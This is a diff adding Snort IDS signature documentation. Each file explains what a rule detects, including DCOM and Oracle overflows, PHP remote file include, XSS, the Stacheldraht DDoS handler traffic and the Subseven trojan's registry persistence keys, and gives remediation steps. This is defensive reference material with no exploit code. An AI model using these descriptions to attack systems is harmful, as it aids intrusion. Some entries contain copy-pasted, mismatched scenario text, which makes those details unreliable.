+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+US-Cert:
+http://www.kb.cert.org/vuls/id/150236
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2675.txt
+++ snort-2.8.5.2/doc/signatures/2675.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2675
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure instantiate_offline
+. This procedure is included in
+dbms_repcat_rgt.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2435.txt
+++ snort-2.8.5.2/doc/signatures/2435.txt
@@ -0,0 +1,62 @@
+Rule:  
+
+--
+Sid:
+2435
+
+--
+Summary:
+This event is generated when an attempt is made to access a file type
+that may be subject to a known vulnerability in Microsoft Windows Explorer.
+
+--
+Impact:
+Denial of Service (DoS) possible execution of arbitrary code.
+
+--
+Detailed Information:
+When processing Windows Extended Metafile Format (.emf) files, Windows
+Explorer sets a buffer size based on information in the header for the
+file. If a malformed header is sent, it may be possible for an attacker
+to cause a DoS condition to occur. It may also be possible for an
+attacker to execute code of their choosing on a vulnerable host.
+
+This issue may also affect Microsoft Windows Metafile Format (.wmf)
+files also.
+
+--
+Affected Systems:
+	Microsoft Windows XP Home, Professional and Media Center Edition
+	Microsoft Windows XP Home and Professional SP-1
+
+--
+Attack Scenarios:
+An attacker might supply a specially crafted request for such a file
+that might cause the error condiion to occur.
+
+--
+Ease of Attack:
+Moderate/Difficult
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1452.txt
+++ snort-2.8.5.2/doc/signatures/1452.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1452
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/871.txt
+++ snort-2.8.5.2/doc/signatures/871.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+871
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000371.txt
+++ snort-2.8.5.2/doc/signatures/100000371.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000371
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpNuke" application running on a webserver. Access to the file "admin_ranks.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "admin_ranks.php" script used by the "phpNuke" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpNuke
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3279.txt
+++ snort-2.8.5.2/doc/signatures/3279.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3279
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2235.txt
+++ snort-2.8.5.2/doc/signatures/2235.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+2235
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer 
+overflow in Trend Micro InterScan eManager.
+
+--
+Impact:
+Serious. Remote administrative access is possible.
+
+--
+Detailed Information:
+Versions of Trend Micro InterScan eManager suffer from a buffer overflow
+condition that can present an attacker with the opportunity to execute 
+arbitrary code of their choosing which could lead to remote access to 
+the server.
+
+--
+Affected Systems:
+	Trend Micro InterScan eManager 3.51
+
+--
+Attack Scenarios:
+If the buffer overflow condition is met, the attacker can run code of 
+their choosing on the affected host.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Disable the web interface
+
+Enable NTLM authentication for the administrative interface
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/3327
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1702.txt
+++ snort-2.8.5.2/doc/signatures/1702.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1702
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1182.txt
+++ snort-2.8.5.2/doc/signatures/1182.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1182
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000597.txt
+++ snort-2.8.5.2/doc/signatures/100000597.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000597
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "inv_create.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "inv_create.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3436.txt
+++ snort-2.8.5.2/doc/signatures/3436.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3436
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2995.txt
+++ snort-2.8.5.2/doc/signatures/2995.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+2995
+
+--
+Summary:
+This event is generated when an attempt is made to shutdown a Windows
+system via SMB. 
+
+--
+Impact:
+Serious.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to shutdown a Windows
+system via SMB across the network.
+
+It may be possible for an attacker to manipulate a Windows system
+from a remote location. Shutting down a system may lead to a Denial of
+Service for the target host.
+
+--
+Affected Systems:
+	Microsoft Windows systems.
+
+--
+Attack Scenarios:
+An attacker may be able to manipulate a target system using SMB. The
+attacker may gain complete control over the affected system.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+Disallow remote registry manipulation.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/306.txt
+++ snort-2.8.5.2/doc/signatures/306.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid: 306
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a vulnerability in VQ Server to cause a Denial of Service (DoS).
+
+--
+Impact:
+Serious. A Denial of Service on the target server is possible.
+
+--
+Detailed Information:
+vqServer is a personal web server that runs on Microsoft Windows, Linux and Solaris. Version 1.4.49 suffers from a DoS condition if a long GET request is issued to the server.
+
+Affected Systems:
+	vqServer 1.4.49
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/1610
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0766
+
+vqSoft:
+http://www.vqsoft.com/
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000795.txt
+++ snort-2.8.5.2/doc/signatures/100000795.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000795
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "Pivot" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "bg" parameter in the "blogroll.php" script used by the "Pivot" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Pivot
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1207.txt
+++ snort-2.8.5.2/doc/signatures/1207.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1207
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/252.txt
+++ snort-2.8.5.2/doc/signatures/252.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+252
+
+--
+Summary:
+This event is generated when an attempt is made to send an inverse query
+to a DNS server. This could indicate a future attack.
+
+--
+Impact:
+Intelligence gathering. This is just an attempt to see if the DNS server
+responds to such a query.
+
+--
+Detailed Information:
+Certain versions of BIND fail to propery bound data recieved when 
+handling an inverse query. Upon being copied to memory, portions of the 
+program can be overwritten and arbitrary commands can be run on the 
+affected host.
+
+--
+Affected Systems:
+	BIND pre 8.1.2 / 4.9.8
+
+--
+Attack Scenarios:
+An attacker can send the reverse query and if the server responds the 
+attacker might then proceed to exploit the flaw in Bind.
+
+--
+Ease of Attack:
+Simple. Exploit code is available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade BIND.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+RFC:
+http://www.rfc-editor.org/rfc/rfc1035.txt
+
+Bugtraq:
+http://www.securityfocus.com/bid/134
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0009
+
+Arachnids:
+http://www.whitehats.com/info/IDS277 
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3102.txt
+++ snort-2.8.5.2/doc/signatures/3102.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3102
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/226.txt
+++ snort-2.8.5.2/doc/signatures/226.txt
@@ -0,0 +1,65 @@
+Rule:
+--
+Sid:
+226
+
+--
+Summary:
+This event indicates that a Stacheldraht handler exists on the source host and an agent on the destination host.
+
+--
+Impact:
+Serious. A Distributed Denial of Service attack maybe in progress.
+
+--
+Detailed Information:
+The Stacheldraht DDoS uses a tiered structure of compromised hosts to 
+coordinate and participate in a denial of service attack.  There are 
+"handler" hosts that are used to coordinate the attacks and "agent" 
+hosts that launch the attack.  When a host becomes a Stacheldraht agent 
+it makes an initial contact with each of its known handlers.  A handler 
+should respond with an ICMP echo reply with an ICMP identification 
+number of 667 and a string of "ficken" in the payload. 
+
+--
+Affected Systems:
+Any Stacheldraht compromised host.
+
+--
+Attack Scenarios:
+A host on which a Stacheldraht agent has been installed attempts to 
+contact the list of known handlers.   
+
+--
+Ease of Attack:
+Simple. Stacheldraht code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Turn of all unnecessary services on hosts.
+
+Upgrade to the latest patch level.
+
+Use a packet filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS191
+
+--
--- snort-2.8.5.2.orig/doc/signatures/107.txt
+++ snort-2.8.5.2/doc/signatures/107.txt
@@ -0,0 +1,119 @@
+Rule:
+
+--
+Sid:
+107
+
+--
+Summary:
+Subseven22 is a Trojan Horse.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a 
+compromise of all resources the machine is connected to. This Trojan 
+also has the ability to delete data, steal passwords and disable the 
+machine. Other versions are capable of launching DDoS attacks.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+	Windows XP
+
+No other systems are affected. This is a windows exceutable that makes 
+changes to the system registry, Win.ini and System.ini. When first 
+executed the Trojan replicates itself and in most cases, gives the copy 
+a random name. This Trojan may use the file extensions ".exe" or ".dll".
+
+Subseven is an improved version of the Netbus Trojan (see sids 114, 
+115), Subseven DEFCON8 2.1 is an improved version of Subseven that 
+affects Windows 95 and 98 implementations.
+
+The Trojan changes system startup files and registry settings to add the
+Subseven sever to programs normally started on boot.
+
+	SID	Message
+	---	-------
+	103	subseven 22 (incoming TCP connection)
+	107	subseven DEFCON8 2.1 access (outgoing TCP connection)
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This 
+event is indicative of an existing infection being activated. Initial 
+compromise can be in the form of a Win32 installation program that may 
+use the extension ".jpg" or ".bmp" when delivered via e-mail for 
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. 
+Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+This is a particularly difficult Trojan to remove and should only be 
+attempted by an experienced Windows Administrator.
+
+Edit the system registry to remove the extra keys or restore a 
+previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_CLASSES_ROOT\exefile\shell\open\command
+	HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run
+	HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\RunServices
+	HKEY_LOCAL_MACHINE\Hardware\Data
+	HKEY_LOCAL_MACHINE\Hardware\Enum
+	HKEY_LOCAL_MACHINE\Software\Microsoft\DirectXMedia
+
+Registry keys added are:
+
+	HKEY_CLASSES_ROOT\.dl
+
+Removal of the replicant is also required, look for files ending in 
+".exe" or ".dll" in the <drive>:\Windows\ or <drive>:\Windows\System\ 
+folders that use alphanumeric file names. The name of the replicant may 
+be in one of the registry keys above.
+
+A machine reboot is required to clear the existing process from running 
+in memory.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Hackfix
+http://www.hackfix.org/subseven/
+
+McAfee
+http://vil.mcafee.com/dispVirus.asp?virus_k=10566
+http://vil.nai.com/vil/content/v_10566.htm
+
+Symantec Security Response
+http://securityresponse.symantec.com/avcenter/venc/data/backdoor.subseven22.html
+
+F-Secure:
